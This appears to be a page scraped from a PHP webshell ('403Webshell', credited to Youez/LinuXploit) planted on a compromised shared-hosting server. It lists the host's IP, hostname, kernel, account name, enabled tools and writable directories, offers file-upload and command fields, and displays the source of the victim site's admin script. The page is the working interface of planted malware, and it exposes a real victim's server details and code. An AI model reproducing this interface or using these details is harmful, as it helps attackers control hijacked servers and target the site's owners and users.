403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/electrojournal.com/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/electrojournal.com/admin/u.php
<?php
session_start();
if(file_exists('../inc/config.php')){require_once('../inc/config.php');}else{die('Database configuration file doesn\'t exist.');}

$packagefiles = array('csrf', 'encryptions', 'functions', 'sendmail', 'pagination', 'MPDF53/mpdf');
foreach($packagefiles as $packagefile)
{
	if(file_exists($package.$packagefile.'.php'))
	{
		require_once $package.$packagefile.'.php';
	}
	else
	{
		die('Required file doesn\'t exist.');
	}
}
require_once('../../../twm/TwilioWhatsApp.php');
require_once('../../../temp/Login.php');
if (! Login::check()) { header("Location:{$adminurl}login"); exit(); }

$snum = 0;
$page = isset($_GET['page']) ? $fn->escape($_GET['page']) : null;
$opt1 = isset($_GET['opt1']) ? $fn->escape($_GET['opt1']) : null;
$opt2 = isset($_GET['opt2']) ? $fn->escape($_GET['opt2']) : null;
$opt3 = isset($_GET['opt3']) ? $fn->escape($_GET['opt3']) : null;
$opt4 = isset($_GET['opt4']) ? $fn->escape($_GET['opt4']) : null;
$table= $page;

$pageurl = $adminurl.'u/'.$page;

$stmt = $mysqli->prepare("SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE (TABLE_SCHEMA = ? AND TABLE_NAME = ?) ORDER BY ORDINAL_POSITION ASC LIMIT 1") or die($mysqli->error);
$stmt->bind_param('ss', $dbname, $table);
$stmt->execute();
$stmt->store_result();
$stmt->bind_result($firstcol);
$stmt->fetch();
$stmt->close();

$stmt = $mysqli->prepare("SELECT settingsid, websitename, websiteemail, fromname, fromemail, replyname, replyemail, abbreviation, impactfactor, issn, doilink, ugcnumber, ugcnumberstatus, version, ads, extensions, signature, editorspicture, publisher, gsitekey, gsecretkey, grecaptcha, blockedword FROM settings ORDER BY settingsid DESC LIMIT 1") or die($mysqli->error);
$stmt->execute();
$stmt->store_result();
$count_settings = $stmt->num_rows();
$stmt->bind_result($settingsid, $websitename, $websiteemail, $fromname, $fromemail, $replyname, $replyemail, $abbreviation, $impactfactor, $issn, $doilink, $ugcnumber, $ugcnumberstatus, $version, $ads, $extensions, $signature, $editorspicture, $publisher, $gsitekey, $gsecretkey, $grecaptcha, $blockedword);
$stmt->fetch();
$stmt->close();

$option = isset($_POST['option']) ? $_POST['option'] : null;
$dataid = isset($_POST['dataid']) ? $_POST['dataid'] : null;
$null   = '';
$creation = date('Y-m-d H:i:s');
	
if($_SERVER['REQUEST_METHOD'] === 'POST' && $option)
{
	if(file_exists('inc/'.$page.'.php')){ require_once('inc/'.$page.'.php'); }else{ die(output('Processing file not found.')); }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, nofollow">
<title><?php echo ucfirst($page).' ~ cPanel';?></title>
<link rel="shortcut icon" href="<?php echo $imageurl;?>favicon.ico" />
<link rel="stylesheet" href="https://www.akinik.com/assets/css/smoothness/jquery-ui-1.8.13.custom.css" />
<link rel="stylesheet" href="https://www.akinik.com/assets/css/elrte.min.css" />
<link rel="stylesheet" href="https://www.akinik.com/assets/css/materialize.min.css" />
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:400,500|Material+Icons" />
<style type="text/css">
*,*:before,*:after{box-sizing:border-box !important;outline:none}body{font-size:13px;font-family:'Roboto', sans-serif;overflow:hidden}

.loader{width:100px;height:29px;line-height:27px;margin:0 auto;border:1px solid #f0c36d;border-radius:0 0 4px 4px;font-weight:500;position:fixed;top:0;left:0;right:0;z-index:99999;display:none}

b,h1,h2,h3,h4,h5,h6,label,strong,th{margin:0;font-weight:500}

main,.head,.body,.foot,.table,.flex,form{float:left;width:100%;height:auto;clear:both}.row,.file-field{margin-bottom:0;clear:both}.flex{display:flex}.flex *{flex-grow:1}
button,input,textarea,select{margin:0 !important;font-size:13px !important;font-family:'Roboto', sans-serif;outline:none !important;resize:none}
select{padding:3px !important}
input::placeholder,textarea::placeholder{color:#999}button:disabled i.material-icons{color:#c5c5c5 !important}

header{position:fixed;top:0;left:0;right:0;z-index:999}
header b{line-height:42px}
header a.btn-flat{height:42px;line-height:43px;padding:0 10px;border-right:1px solid #2979ff;border-radius:0;font-size:11px;font-weight:500}
header a.btn-flat:first-child{border-left:1px solid #2979ff}
header a.btn-flat i.material-icons{font-size:19px}
header a.btn-flat i.material-icons.left{margin-right:8px}

header form{margin-top:5px;border-radius:4px;overflow:hidden}
header form input[type=text]{height:32px !important;padding-left:10px !important;border:none !important}
header form button.btn-flat{width:34px;height:32px;padding:0;border-radius:0}
header form button i.material-icons{width:34px;height:32px;line-height:33px;font-size:21px}

.db .col .card{margin:0 0 10px;border-radius:4px;overflow:hidden}
.db .col .card-content{height:90px;line-height:42px;padding:5px 10px 20px;border-radius:0}
.db .col .card-content h5{font-weight:normal}
.db .col .card-action{padding:0;border:none}
.db .col .card-action a{width:100%;line-height:37px;font-size:11px;font-weight:500}

.form{height:calc(100vh - 85px);margin-top:85px;padding-bottom:50px;overflow-y:scroll}
.form > .head{padding:5px 10px;background-color:#fff;box-shadow:0 1px 3px rgba(0,0,0,0.25);position:fixed;top:42px;left:0;right:0;z-index:998}
.form > .head button.btn-flat{float:left;height:33px;line-height:34px;margin-right:5px !important;padding:0 10px;background-color:#e5e5e5;border-radius:4px;font-size:12px !important;font-weight:500;text-transform:uppercase}
.form > .head button.btn-flat:not(.transparent):hover{box-shadow:0 1px 2px rgba(0,0,0,0.3)}
.form > .head button.btn-flat.green:hover{background-color:rgba(76,175,80,0.9) !important;box-shadow:0 1px 2px rgba(76,175,80,0.5)}
.form > .head button.btn-flat.blue:hover{background-color:rgba(41,98,255,0.8) !important;box-shadow:0 1px 2px rgba(41,98,255,0.5)}
.form > .head button.btn-flat i{line-height:33px;color:#000}
.form > .head button.btn-flat i.left{margin-right:7px}
.form > .head button.btn-flat.h{display:none}
.form > .head b{height:32px;line-height:33px;margin-right:9px}
.form > .head .pagination button{width:32px !important;margin:0 !important;padding:0;border-radius:50%}

.form > .head input[type=text]{width:auto;height:32px;padding:0 5px;border:none !important;border-radius:4px;box-shadow:none !important}
.form > .head input[type=text].url{width:300px;display:none}

.form > .body{padding-top:10px;background-color:#f0f3f5;box-shadow:0 1px 3px rgba(0,0,0,0.25)}
.form > .body .col{margin-bottom:15px}
.form > .body .col label{float:left;width:100%;color:#333;font-size:11px;font-weight:500;text-transform:uppercase}
.form > .body .col label small{color:#555;font-size:9px}

.form > .body .col input:not([type=checkbox]):not([type=radio]),.form > .body .col select,.form > .body .col textarea{float:left;width:100%;height:32px;padding:0 7px;background-color:#fff;border:1px solid #d9d9d9;border-radius:4px}
.form > .body .col input:not([type=checkbox]):not([type=radio]):focus,.form > .body .col select:focus,.form > .body .col textarea:focus{border:1px solid #2962ff;box-shadow:0 1px 1px rgba(0,0,0,0.15) inset}
.form > .body .col textarea{padding:7px}

.form > .body .col label.chklab{width:auto;height:32px;line-height:32px;margin-right:10px;padding:0 10px 0 30px;background-color:#fff;border:1px solid #d9d9d9;border-radius:2px;position:relative;white-space:nowrap;overflow:hidden}
.form > .body .col label.chklab:last-child{margin-right:0}
.form > .body .col label.chklab input{float:left;margin-top:9px !important;top:0;bottom:0;left:10px;opacity:1;pointer-events:auto}

.form > .body .col .file-field .btn{height:32px;line-height:33px;font-size:11px !important;font-weight:500}

.md .workzone,.md textarea,.md iframe{height:200px !important}.lg .workzone,.lg textarea,.lg iframe{height:400px !important}

.table > thead > tr > th{position:-webkit-sticky!important;position:sticky!important;top:0;z-index:99}
.table > thead > tr > th:before{content:'';border-top:1px solid #eee;position:absolute;top:-1px;left:0;right:0}
.table > thead > tr > th:after{content:'';border-bottom:1px solid #e5e5e5;position:absolute;bottom:-1px;left:0;right:0}
.table > thead > tr > th,.table > tbody > tr > td{padding:7px 5px 8px;border:1px solid #eee;position:relative;word-wrap:break-word}
.table > thead > tr > th{padding:10px 5px 8px;background-color:#eee;font-size:11px;text-transform:uppercase}
.table > thead > tr > th.xs{width:50px}.table > thead > tr > th.sm{width:90px}.table > thead > tr > th.md{width:120px}.table > thead > tr > th.lg{width:140px}
.table tr:hover,.table tr.checked{background-color:#ffffcc}
.table [type=checkbox]{margin:auto !important;top:0;bottom:0;left:0;right:0;opacity:1;pointer-events:auto;position:inherit;}

.table td > input[type=text]{height:auto;border:none !important;box-shadow:none !important}
.table td > select{height:auto;border:1px solid #d9d9d9}

.table td > button{margin:0 3px;padding:0;background-color:transparent;border:none;font-size:11px !important;font-weight:500;text-transform:uppercase;cursor:pointer;display:inline-block}
.table td > button:hover{text-decoration:underline}
.table td > img{margin:auto;display:block}

.table td > button.btn-flat{width:24px;height:24px;line-height:24px}
.table td > button.btn-flat i.material-icons{font-size:21px}

.collapsible{margin:2px 10px 10px;font-size:11px;font-weight:500;text-transform:uppercase}
.collapsible .collapsible-header,
.collapsible .collapsible-body{line-height:normal;padding:10px}
.collapsible .collapsible-body a:hover{text-decoration:underline}

.graphics .card{border-radius:2px;overflow:hidden}
.graphics .card .card-image img{width:100%;height:120px}
.graphics .card .card-action{width:100%;padding:5px}
.graphics .card .card-action button{width:48.5% !important;height:32px;line-height:32px}

form.fix{width:510px;border-radius:5px 5px 0 0;position:fixed;right:10px;bottom:0;z-index:9999;overflow:hidden;display:none}
form.fix .head{height:40px;line-height:41px;padding:0 0 0 15px}
form.fix .head button.btn-flat{width:32px;height:32px;line-height:32px;margin:4px 6px 0 !important;padding:0;border-radius:50%}
form.fix .head button.btn-flat:hover{background-color:rgba(255,255,255,0.3)}
form.fix .head button.btn-flat i.material-icons{font-size:20px}
form.fix .head button.btn-flat:hover i.material-icons{color:#fff !important}
form.fix .body input,
form.fix .body textarea{float:left;height:36px;margin:0;padding:0 10px;border-color:#e5e5e5 !important;box-shadow:none !important}
form.fix .body textarea{min-height:254px;max-height:254px;padding:10px;border:none !important;overflow-y:scroll}
form.fix .body .file-field{width:100%;height:362px;padding:10px;border:none}
form.fix .foot{padding:10px;border-top:1px solid #e5e5e5}
form.fix .foot button.btn-flat{float:left;min-width:64px;height:32px;line-height:33px;margin-right:5px !important;padding:0 10px;border-radius:4px;font-size:11px !important;font-weight:500}
form.fix .foot button.btn-flat:hover{box-shadow:0 1px 2px rgba(0,0,0,0.3)}
form.fix .foot button.btn-flat.blue:hover{background-color:rgba(41,98,255,0.8) !important;box-shadow:0 1px 2px rgba(41,98,255,0.5)}

.toast{font-size:15px}
</style>
<style type="text/css">
<?php
$stmt = $mysqli->prepare("SELECT name, file FROM fonts") or die('An error occurred. Please try after some time.');
$stmt->execute();
$stmt->store_result();
if($stmt->num_rows() > 0)
{
	$stmt->bind_result($fontname, $fontfile);
	while($stmt->fetch())
	{
		if($fontfile && file_exists($fontuploadpath.$fontfile))
		{
			echo '@font-face{font-family:'.$fontname.';src:url('.$fontsdir.$fontfile.');}';
		}
	}
}
$stmt->close();
?>
</style>
</head>
<body class="white">
<?php
$pagination->set($pageurl, $opt1, $opt2);

$item_per_page	= isset($_SESSION['ROW_LIMIT']) ? trim($_SESSION['ROW_LIMIT']) : 30;
$page_number	= isset($_GET['pn']) ? $_GET['pn'] : 1;
$page_position	= ($page_number - 1) * $item_per_page;
$keyword		= $opt1 === 'search' ? $fn->entities("%$opt2%") : '';
$equal			= trim($fn->entities($keyword), '%');

echo <<<EOJ
<div class="loader amber lighten-4 black-text center-align z-depth-1">Loading...</div>
<div id="load">
	<header class="row blue accent-4">
		<div class="col s12 m4 l4">
			<b class="left white-text">cPanel Version: {$version}</b>
		</div>
		<div class="col s12 m4 l4">
			<form action="{$pageurl}/search" method="get" name="searchform" class="white flex" onsubmit="if (this.keyword.value) { let key = this.keyword.value; location = this.action + '/' + key.replace(/ /gi, '+'); } return false;">
				<input type="text" name="keyword" value="{$equal}" placeholder="Search in {$page}" />
				<button type="submit" class="waves-effect btn-flat"><i class="material-icons grey-text left">search</i></button>
			</form>
		</div>
		<div class="col s12 m4 l4">
			<div class="right">
				<a href="{$pageurl}" class="waves-effect btn-flat left"><i class="material-icons white-text">arrow_upward</i></a>
				<a href="{$adminurl}u/dashboard" class="waves-effect btn-flat left"><i class="material-icons white-text">apps</i></a>
				<a href="{$adminurl}u/settings" class="waves-effect btn-flat left"><i class="material-icons white-text">settings</i></a>
				<a href="{$baseurl}" class="waves-effect btn-flat left" target="_blank"><i class="material-icons white-text">launch</i></a>
				<a href="{$adminurl}logout" class="waves-effect btn-flat white-text left"><i class="material-icons white-text left">exit_to_app</i>logout</a>
			</div>
		</div>
	</header>
	<form action="{$pageurl}" method="post" name="adminform" id="adminform" class="form ajax white" enctype="multipart/form-data">
		<input type="hidden" name="option" value="{$opt1}" readonly />
		<input type="hidden" name="confrm" readonly />
EOJ;
		if($page && file_exists($page.'.php'))
		{
			require_once($page.'.php');
		}
		else
		{
echo <<<EOJ
			<div class="row">
				<div class="col s12 m8 l6 offset-l3">
					<div class="card e">
						<div class="card-content center-align">
							<i class="material-icons red-text medium">info</i><h4>404</h4><br>
							<b>OOPS, SORRY WE CAN&apos;T FIND THAT PAGE</b>
							<br clear="all"><br clear="all">
							<a href="{$adminurl}u/dashboard" class="waves-effect btn-flat blue accent-4 white-text">dashboard</a>
						</div>
					</div>
				</div>
			</div>
EOJ;
		}
echo <<<EOJ
	</form>

	<form action="{$adminurl}u/sendmail" method="post" name="emailform" class="fix emf ajax white z-depth-3" enctype="multipart/form-data">
		<input type="hidden" name="option" value="sendmail" readonly />
		<input type="hidden" name="confrm" value="" readonly />
		<div class="head grey darken-3 white-text">New Message<button type="reset" class="waves-effect btn-flat right" onclick="$(this.form).hide(0);"><i class="material-icons grey-text text-lighten-1">close</i></button></div>
		<div class="body">
			<input type="text" name="to" placeholder="To" class="to" />
			<input type="text" name="cc" placeholder="Cc" class="cc left" style="width:50%" />
			<input type="text" name="bcc" placeholder="Bcc" class="right" style="width:50%" />
			<input type="text" name="subject" placeholder="Subject" />
			<textarea rows="25" cols="25" name="message" placeholder="Type your message here..." class="materialize-textarea"></textarea>
		</div>
		<div class="foot">
			<button type="submit" class="waves-effect btn-flat blue accent-4 white-text" onclick="this.form.option.value='sendmail';">send</button>
			<button type="reset" class="waves-effect btn-flat grey lighten-2" onclick="$(this.form).hide(0);">cancel</button>
		</div>
	</form>
	<form action="{$adminurl}u/upload" method="post" name="uploadform" class="fix upf ajax white z-depth-3" enctype="multipart/form-data">
		<input type="hidden" name="option" value="upload" readonly />
		<input type="hidden" name="confrm" value="" readonly />
		<div class="head grey darken-3 white-text">Upload File<button type="reset" class="waves-effect btn-flat right" onclick="$(this.form).hide(0);"><i class="material-icons grey-text text-lighten-1">close</i></button></div>
		<div class="body">
			<input type="file" name="file" class="file-field" />
		</div>
		<div class="foot">
			<button type="submit" class="waves-effect btn-flat blue accent-4 white-text">upload</button>
			<button type="reset" class="waves-effect btn-flat grey lighten-2" onclick="$(this.form).hide(0);">cancel</button>
		</div>
	</form>
</div>
EOJ;
?>
<script src="https://www.akinik.com/assets/js/jquery.js" defer></script>
<script src="https://www.akinik.com/assets/js/jquery.form.min.js" defer></script>
<script src="https://www.akinik.com/assets/js/jquery-1.6.1.min.js" defer></script>
<script src="https://www.akinik.com/assets/js/materialize.min.js" defer></script>
<script src="https://www.akinik.com/assets/js/jquery-ui-1.8.13.custom.min.js" defer></script>
<script src="https://www.akinik.com/assets/js/elrte.min.js" defer></script>
<script src="https://www.akinik.com/assets/js/i18n/elrte.ru.js" defer></script>
<script src="<?php echo $adminurl;?>app.js?<?php echo time();?>" defer></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit